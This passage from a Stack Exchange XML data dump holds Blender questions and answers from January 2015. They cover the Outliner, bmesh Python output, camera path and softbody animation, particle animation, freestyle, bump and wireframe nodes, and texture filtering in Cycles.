CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23842" PostTypeId="2" ParentId="23789" CreationDate="2015-01-27T02:04:21.877" Score="4" Body="&lt;p&gt;Another method I've been finding useful for dealing with the Outliner is to Duplicate the Area Window so it's actually another window.  Now it can be sized up and moved to another screen.  If you only use one screen, you can use Alt-tab to switch between the main Blender window and the Outliner window.  (For OS X, it's CMD+TAB)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WYdPg.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h8dGi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can split the window multiple times and scroll each one so that you can see(hopefully) everything at the same time with just a glance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6tw0e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-16T04:07:33.883" LastActivityDate="2015-04-16T04:07:33.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23843" PostTypeId="2" ParentId="23834" CreationDate="2015-01-27T02:09:44.233" Score="2" Body="&lt;p&gt;&lt;code&gt;bmesh.ops.bisect_edges&lt;/code&gt; returns a dictionary that only has one item &lt;code&gt;geom_split&lt;/code&gt;, that one item is a list of the data you want. You can easily find what everything is in the python console -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; newmesh.keys()&#xA;dict_keys(['geom_split'])&#xA;&amp;gt;&amp;gt;&amp;gt; newmesh['geom_split'].keys()&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;AttributeError: 'list' object has no attribute 'keys'&#xA;&amp;gt;&amp;gt;&amp;gt; len(newmesh['geom_split'])&#xA;12&#xA;&amp;gt;&amp;gt;&amp;gt; type(newmesh['geom_split'][0])&#xA;&amp;lt;class 'BMVert'&amp;gt;&#xA;&amp;gt;&amp;gt;&amp;gt; type(newmesh['geom_split'][11])&#xA;&amp;lt;class 'BMEdge'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you replace your &lt;code&gt;print()&lt;/code&gt; with the following you can see the returned data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in newmesh['geom_split']:&#xA;    if type(i) == bmesh.types.BMVert:&#xA;        print(&quot;Vertex&quot;,i.index,&quot;positioned at&quot;,i.co)&#xA;    elif type(i) == bmesh.types.BMEdge:&#xA;        print(&quot;Edge from vert&quot;,i.verts[0].index,&quot;to vert&quot;,i.verts[1].index)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While the api states that &lt;code&gt;bisect_edges&lt;/code&gt; returns &quot;newly created vertices and edges&quot; I only see two edges returned.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-27T02:09:44.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23844" PostTypeId="1" AcceptedAnswerId="23846" CreationDate="2015-01-27T02:20:56.647" Score="11" ViewCount="12156" Body="&lt;p&gt;I'm modeling a car driving along a road(speeds up, slows down, and stops at traffic lights to wait till the lights turn green, etc.) What is the best way to animate the camera path for the following scenario?&lt;img src=&quot;https://i.stack.imgur.com/vYL9F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The camera starts moving from point A, and it takes 500 frames to get to point B. During this 500 frames, the camera first gradually speeds up, then moves at a constant speed, and finally slows down to a complete stop at point B.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The next 50 frames, the camera will stay at point B.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From frame 551, it takes another 500 frames to get to point C from point B. The camera experiences the same motion as described in #1 (speeds up, constant speed, slows down, then stop.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Again, the camera will stay at point C for another 50 frames. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Point C to D is a curve path ( added using Shift + A -&gt; add path). I want the camera to move along the path from frame 1101 to frame 1200. The camera should have the same motion as before(speeds up, constant speed, slows down, then stop.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is the best way to animate the camera path in this case? Is there any Python scripts available and can be applied to case like this? Thank you all in advance for your replies.&lt;/p&gt;&#xA;" OwnerUserId="9842" LastActivityDate="2015-01-27T06:49:19.833" Title="What is the best way to animate the camera path?" Tags="&lt;python&gt;&lt;animation&gt;&lt;path&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23845" PostTypeId="1" CreationDate="2015-01-27T06:34:23.923" Score="1" ViewCount="224" Body="&lt;p&gt;I am a complete beginner to Blender and to modeling, and am taking a tutorial for Absolute Beginners to create my first house.  No problems creating the point for the roof, but when I select the edges to try and extrude out the roof and create an overhang, the part I have extruded turns a scratchy grey color.  Later on when I try to add texture or color to the roof, the extended edges turn the same color as the face of the house, not the rest of the roof.  If anyone is able to translate my poor description and help, it would be much appreciated!  Thanks!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LWQ7.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="11246" LastEditorUserId="12" LastEditDate="2015-01-27T08:59:50.140" LastActivityDate="2015-01-27T08:59:50.140" Title="Extrusion creates black artifacts" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-27T08:57:48.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="23846" PostTypeId="2" ParentId="23844" CreationDate="2015-01-27T06:41:20.510" Score="17" Body="&lt;p&gt;Create a single path for all of the trajectory. On the camera use a &lt;strong&gt;Follow Path&lt;/strong&gt; Constraint. select the &lt;strong&gt;Target&lt;/strong&gt; path, check the &lt;strong&gt;Follow Curve&lt;/strong&gt; box so the camera starys aligned with the path and animate the &lt;strong&gt;Offset&lt;/strong&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VqgrQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On frame 1 create a Keyframe at 0. Go to to frame 500, change the offset value so that the camera reaches point B and insert another keyframe. Move to frame 550 and don't alter the offset value and insert another keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep doing the same procedure until your camera reaches point D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXtjO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZkLu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graph for the camera movement in the Graph Editor shows how the camera starts at 0, picks up speed, decelerates to a stop and accelerates again... all of that because as default Blender uses Bezier interpolation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/98BSB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-27T06:49:19.833" LastActivityDate="2015-01-27T06:49:19.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23847" PostTypeId="2" ParentId="23783" CreationDate="2015-01-27T07:00:12.503" Score="2" Body="&lt;p&gt;Moving and keyframing has already been covered here but there a couple of other things that can help make this very easy to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KF6ie.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, if you select the camera and press the &lt;kbd&gt;Number Pad 0&lt;/kbd&gt;, the viewport display switches to the camera's view point.  You can also access this feature using the menu shown in the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9kWMV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, if you move anything then the view will return to the normal viewing but in Orthographic mode, however! if you open the numeric panel using &lt;kbd&gt;n&lt;/kbd&gt; or the tiny little plus tab that sticks out at the side of the viewport, you should see an entry named &quot;Lock Camera To View&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R3Ygf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have the camera selected and you activate the checkbox, you should now be able to move the scene around from the camera's point of view just as you would normally do if the camera wasn't selected, only now it's actually the camera that is moving.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very intuitive to use and works flawlessly for aligning the camera to your scene.  When you exit that mode by deactivating the checkbox and you move the view again, the normal viewing should return except that maybe it will be in orthographic mode which has no 3D perspective.&lt;br&gt;&#xA;You can return to the 3D view by pressing &lt;kbd&gt;NumberPad&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt; or by using the menu shown above where it says &quot;View Persp/Ortho&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the customary animated .gif.(Unfortunately I had to go fast because I kept exceeding the 2MB limit for file size uploads.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZK44t.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find that you can only rotate the view but you can't really pan around very quickly then you need to reset the view.  This happens often with Viewport navigation and can be fixed with either &lt;kbd&gt;NumPad .&lt;/kbd&gt; which zooms to the selected object or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; which zooms to the entire scene.  That happened to me when I recorded the .gif.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-01-27T07:00:12.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23849" PostTypeId="2" ParentId="23845" CreationDate="2015-01-27T07:18:09.183" Score="1" Body="&lt;p&gt;You might have accidentally extruded twice earlier. If you press E and right click, it looks like nothing happened, but you actually extruded to the same place. Hope this helps somehow.&lt;/p&gt;&#xA;" OwnerUserId="11248" LastActivityDate="2015-01-27T07:18:09.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23850" PostTypeId="1" AcceptedAnswerId="23851" CreationDate="2015-01-27T08:50:58.553" Score="7" ViewCount="1550" Body="&lt;p&gt;I rigged an object and animated it, and have set it as a hair particle (dupli object). It displays correctly, but animation is not being passed on... How do I make hair particle objects perform animation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am aware that animation will be synchronized across all particles and am okay with that.&lt;/p&gt;&#xA;" OwnerUserId="3129" LastActivityDate="2015-01-27T09:26:23.090" Title="Animated objects as hair particles" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23851" PostTypeId="2" ParentId="23850" CreationDate="2015-01-27T09:26:23.090" Score="12" Body="&lt;p&gt;You need to have your animated model and hair object on the same layer, or it won't update in the viewport (it will work only in render).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VwUbw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-27T09:26:23.090" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23853" PostTypeId="1" CreationDate="2015-01-27T13:28:04.680" Score="1" ViewCount="17" Body="&lt;p&gt;I wanted to create a new material using an image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked fine, but then it suddenly turned purple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any switch that I might have accidentally turned on that causes this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iv7nM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iv7nM.jpg&quot; alt=&quot;screen shot of blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11252" LastEditorUserId="2217" LastEditDate="2015-01-27T13:47:15.417" LastActivityDate="2015-01-27T13:47:15.417" Title="Material not showing texture data" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-27T14:52:20.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="23854" PostTypeId="1" AcceptedAnswerId="23857" CreationDate="2015-01-27T14:35:58.333" Score="20" ViewCount="6717" Body="&lt;p&gt;When dealing with camera motion, its very sensitive to any movement discontinuities. Is there a way to easily achieve natural looking motion when dealing with complicated motion paths and timings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow path animation feels too robotic unless I adjust all the keyframe easings carefully and this has to be re-done everytime the animation changes (the automatic bezier type just doesn't work).&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-27T15:57:24.403" Title="How to smooth camera animation to have fluid feel?" Tags="&lt;animation&gt;&lt;camera&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="23855" PostTypeId="1" CreationDate="2015-01-27T14:37:57.750" Score="2" ViewCount="500" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IMfvu.jpg&quot; alt=&quot;arm and t-shirt not moving together&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the above image shows, whenever I move the armature that controls the upper arm, the corresponding part of the t-shirt moves slower than it. This is regardless of whether or not they have the same weights.&lt;br&gt;&#xA;The picture shows them at different weights, but I tested to see if the same issue arises when all weights are the same. The whole object is composed of one mesh the t-shirt and the arm are all in the same mesh. How would I prevent the arm from moving through the t-shirt?&lt;br&gt;&#xA;(I know I can delete the vertices that are blocked by the t-shirt, but this same error persists even then for the remaining vertices that are slightly inside).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using blender v2.72b.&lt;/p&gt;&#xA;" OwnerUserId="11056" LastEditorUserId="2217" LastEditDate="2015-01-27T18:20:42.643" LastActivityDate="2015-01-27T18:23:40.207" Title="vertices with similar weights not moving at same speed" Tags="&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23856" PostTypeId="2" ParentId="7701" CreationDate="2015-01-27T14:38:19.350" Score="5" Body="&lt;p&gt;You can avoid freestyle rendering in mist by setting a &quot;distance from camera&quot; modifier. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Goto &quot;Render Layers&quot;&lt;/li&gt;&#xA;&lt;li&gt;Scroll down to &quot;Freestyle Line Style&quot; Panel&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Alpha&quot;&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Add Modifier&quot; and then select &quot;Distance From Camera&quot;&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Mix&quot; for the blend type&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Curve&quot; for mapping type&lt;/li&gt;&#xA;&lt;li&gt;Add a point in the center of the curve ui&lt;/li&gt;&#xA;&lt;li&gt;set the right most point x pos to 0.3 and y pos to 0.0&lt;/li&gt;&#xA;&lt;li&gt;set the center point x pos to 0.25 and y pos to 0.5&lt;/li&gt;&#xA;&lt;li&gt;set the left most point x pos to 0.0 and y pos to 1.0&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;11&quot;&gt;&#xA;&lt;li&gt;set the Range Max to the depth of your mist.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XQdP5.png&quot; alt=&quot;Freestyle Distance From Camera Modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PROTIP: Gain more control over falloff by adding points to your curve. Adjust shape until the &quot;Distance From Camera&quot; modifier falloff matches your mist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vJ1VD.png&quot; alt=&quot;Line falloff&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="11253" LastEditDate="2015-01-27T19:39:40.487" LastActivityDate="2015-01-27T19:39:40.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23857" PostTypeId="2" ParentId="23854" CreationDate="2015-01-27T14:42:29.777" Score="33" Body="&lt;p&gt;A way to achieve camera motion with fluid non-synthetic feel is with &lt;strong&gt;softbody camera rig&lt;/strong&gt;. This will do &lt;strong&gt;automatic easing&lt;/strong&gt; of any motion and will save some graph-editor work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a filled Circle with 3 vertices, subdivide it and delete the middle face:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZjR1i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create new empty vertex group, don't assign any vertices to it, leave it empty:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lvrzs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add camera to the scene and parent it to the 3 inner vertices (select &lt;em&gt;Camera&lt;/em&gt;, select &lt;em&gt;Mesh&lt;/em&gt;, enter edit-mode, select vertices, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DYg8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add &lt;em&gt;Soft Body&lt;/em&gt; to the mesh object. These are the settings to take care of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Friction: higher will be more lazy smoother camera&lt;/li&gt;&#xA;&lt;li&gt;Damping: less means more camera jiggle and more overshoot&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/puYLm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Its good to hide the &lt;em&gt;Soft Body&lt;/em&gt; modifier visibility when animating. Always bake the softbody cache. This is a result of a simple linear-interpolation animation with just 2 keyframes, you can see how the soft body smooths everything:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UydzR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Best it's in combination with &lt;strong&gt;follow path&lt;/strong&gt; animation to smooth any paths and timing discontinuities. Use the &lt;em&gt;Follow Path&lt;/em&gt; constraint on the softbody to animate the location (animate evaluation time under the curve) and &lt;em&gt;Track To&lt;/em&gt; constraint or just keyframes for the softbody rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kioza.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;The resulting camera motion will be the curve smoothed, so even when the curve itself is not C2 smooth the resulting animation will be.&lt;/strong&gt; This can't be done in graph editor or with smoothing the curve with smooth modifier (it follows the un-smoothed curve)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-27T15:57:24.403" LastActivityDate="2015-01-27T15:57:24.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23858" PostTypeId="1" CreationDate="2015-01-27T15:31:59.990" Score="6" ViewCount="318" Body="&lt;p&gt;Im trying to use a wireframe node to influence the height of a bump node, but it dosn't seem to have any effect:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dJY8j.png&quot; alt=&quot;Wireframe Bump&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the second image, the wireframe node is behaving properly because it influences the diffuse colour perfectly:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Jc9FN.png&quot; alt=&quot;Wireframe Diffuse&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions to this problem?&lt;/p&gt;&#xA;" OwnerUserId="9603" LastActivityDate="2015-01-27T20:32:12.993" Title="Wireframe node has no effect on bumpmap" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23859" PostTypeId="2" ParentId="23855" CreationDate="2015-01-27T15:43:56.553" Score="2" Body="&lt;p&gt;Upon further playing around with the mesh, I found out that I should do the following to get what I want:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In edit mode, select the island of the cloth mesh, in this case, the t-shirt.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;P&lt;/kbd&gt; to separate the cloth, click by &quot;Selection&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Go to object mode, parent the rest of the mesh to the armature, with automatic weights. &lt;/li&gt;&#xA;&lt;li&gt;Then parent the cloth just separated to the armature too.&lt;/li&gt;&#xA;&lt;li&gt;Go to pose mode and move the body, the cloth will follow it.&lt;/li&gt;&#xA;&lt;li&gt;Go back to object mode, select the cloth then the body, and then join the two meshes, to get back the original mesh.&lt;/li&gt;&#xA;&lt;li&gt;Going back to pose mode and moving the armature around still shows that the cloth follows the body's motion.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it, this worked for me and I hope someone will also find it helpful. If anyone has a different way of approaching this, please share.&lt;/p&gt;&#xA;" OwnerUserId="11056" LastEditorUserId="2217" LastEditDate="2015-01-27T18:23:40.207" LastActivityDate="2015-01-27T18:23:40.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23860" PostTypeId="1" AcceptedAnswerId="23863" CreationDate="2015-01-27T15:45:01.190" Score="7" ViewCount="522" Body="&lt;p&gt;I'm trying to achieve a scratched surface effect using a bump map, however it turns out the surface details are not preserved at a distance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/FxZ66YK.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/NfK9GJB.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/NMQyyRV.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first picture shows the metal part at high resoltion, the second picture is a down-scaled version of it and the third picture shows the same part rendered at a distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This surprises me actually because Cycles obviously does supersampling for the primary rays, however it seems that it downsamples the textures on the fly or pre-calculates mipmaps instead of sampling the textures at full resolution.&lt;/p&gt;&#xA;" OwnerUserId="11227" LastEditorUserId="11227" LastEditDate="2015-01-27T16:44:10.823" LastActivityDate="2015-02-03T22:28:53.327" Title="How can I preserve texture details when viewed from a distance?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23861" PostTypeId="2" ParentId="23858" CreationDate="2015-01-27T15:51:06.270" Score="1" Body="&lt;p&gt;Why you can't see anything:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason (or at least one of) is due to a &lt;a href=&quot;https://blender.stackexchange.com/questions/21035/how-can-a-normal-map-affect-the-look-of-a-model/21037#21037&quot;&gt;limitation of normal mapping&lt;/a&gt;. All that normal mapping can do is trick cycles into think the face is at a different &lt;strong&gt;&lt;em&gt;angle&lt;/em&gt;&lt;/strong&gt;. In your case, if you look at what you're trying to create from the top, all the faces are the same angle. In order for this to work, you need a bit of a slope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using displacement would work well, except in order to have enough geometry to displace, you will mess up the wire frame :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why the normal map node works, is that it supports some very unconventional normal maps. The bump map node is more particular about its output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as  Ray Mairlot's comment, a brick texture won't work form the bump map node either, I have tested it to check, there is only a slight edge visible along the slope that occurs between the bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The bump and normal nodes are different:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Normal Map node takes a color representation of a normal vector and turns it into a vector. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bump nodes samples 2 areas on the height map and compares the angle the find the vector. since there is only black and white, it will only find 90 degree angles and therefore not show any edge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Paraphrased &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More&quot; rel=&quot;nofollow noreferrer&quot;&gt;From the wiki&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-01-27T16:43:39.600" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="23862" PostTypeId="2" ParentId="23858" CreationDate="2015-01-27T16:02:48.463" Score="3" Body="&lt;p&gt;There appears to be an issue with that node in conjunction with the &lt;em&gt;Bump&lt;/em&gt; node. One solution that appears to work is using the &lt;em&gt;Wireframe&lt;/em&gt; node in conjunction with a &lt;em&gt;Normal Map&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8nb70.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These nodes render a result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bT6mn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that these values can be inverted as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GtPJf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One word of warning&lt;/strong&gt; thanks to @WChagrin:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would say that that's almost certainly undefined behavior. The colored pixels in the normal map are supposed to represent unit vectors in tangent space. When the wireframe node outputs a value of 0, that's coerced into the vector &amp;lt;0, 0, 0&gt;, which is not only non-unit, but non-normalizable. That is, trying to normalize it would require division by zero. Relying on this behavior is probably a Bad Idea™.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-27T20:32:12.993" LastActivityDate="2015-01-27T20:32:12.993" CommentCount="21" ContentLicense="CC BY-SA 3.0" />
  <row Id="23863" PostTypeId="2" ParentId="23860" CreationDate="2015-01-27T16:31:37.543" Score="5" Body="&lt;p&gt;It seems that Cycles does not allow to disable texture filtering as of now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution is to render the scene at an insane resolution, but also to reduce the sample count by the same factor, and then downsample the result. It works very well this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I haven't overlook something, I think, this is an urgently missing feature. It basically makes &lt;em&gt;all&lt;/em&gt; textures look a little bit blurry if rendered directly at the intended resolution (because mipmapping is visually inferior to supersampling—especially for bump maps).&lt;/p&gt;&#xA;" OwnerUserId="11227" LastEditorUserId="11227" LastEditDate="2015-02-03T22:28:53.327" LastActivityDate="2015-02-03T22:28:53.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
